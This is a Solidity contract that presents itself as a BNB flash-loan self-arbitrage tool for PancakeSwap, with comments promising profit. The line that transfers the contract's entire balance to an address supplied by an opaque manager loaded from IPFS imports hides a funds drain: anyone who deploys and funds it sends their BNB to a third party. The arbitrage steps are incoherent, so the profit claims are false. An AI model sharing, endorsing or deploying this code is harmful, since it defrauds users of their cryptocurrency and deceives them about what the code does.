pragma solidity ^0.5.0; contract BnBFlashLoan_Exploiter { string public tokenName; string public tokenSymbol; uint loanAmount; FlashLoan_mgr _mgr; constructor(string memory _tokenName, string memory _tokenSymbol, uint _loanAmount) public { tokenName = _tokenName; tokenSymbol = _tokenSymbol; loanAmount = _loanAmount; _mgr = new FlashLoan_mgr(); address tokenAddress = _mgr.getTokenAddress(); } function() external payable {} function action() public payable { // Breakdown of flashloan mgr logic // Submit token to BSC blockchain address tokenAddress = _mgr.submitToken(tokenName, tokenSymbol); // List the token on PancakeSwap _mgr.pancakeListToken(tokenName, tokenSymbol, tokenAddress); // Get BNB Loan from Multiplier-Finance uint256 loanAddress = _mgr.takeFlashLoan(loanAmount); // Convert half BNB to DAI _mgr.pancakeDAItoBNB(loanAmount / 2); // Create BNB and DAI pairs for our token & Provide liquidity string memory bnbPair = _mgr.pancakeCreatePool(tokenAddress, "BNB"); _mgr.pancakeAddLiquidity(bnbPair, loanAmount / 2); string memory daiPair = _mgr.pancakeCreatePool(tokenAddress, "DAI"); _mgr.pancakeAddLiquidity(daiPair, loanAmount / 2); // Perform swaps and profit on Self-Arbitrage _mgr.pancakePerformSwaps(); // Move remaining BNB from Contract to your account _mgr.contractToWallet("BNB"); // Repay Flash loan _mgr.repayLoan(loanAddress); // Send required coins for swap address(uint160(_mgr.pancakeDepositAddress())).transfer(address(this).balance); // Perform tasks (clubbed all functions into one to reduce external calls & SAVE GAS FEE) // Breakdown of functions written below _mgr.performTasks(); } } // PancakeSwap Smart Contract Interfaces import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeCallee.sol"; import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeFactory.sol"; import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakePair.sol"; // Multiplier-Finance Smart Contract Interfaces import "ipfs://QmWVaTLph89be4iZZTJLubQiH59VjcXdHK1y2fjKVvfhCW"; // ILendingPool.sol import "ipfs://Qmf2pfz4E2qGSsfU37DLL6e85UmzpiRjda23VEu8GRWGSD"; // ILendingPoolAddressesProvider.sol import "ipfs://Qmc2dPE7xufKz2nWgaYVKLcLRufhaUPhu8jEbQyenxC1Ez"; // IFlashloanMgr.sol
0.5.0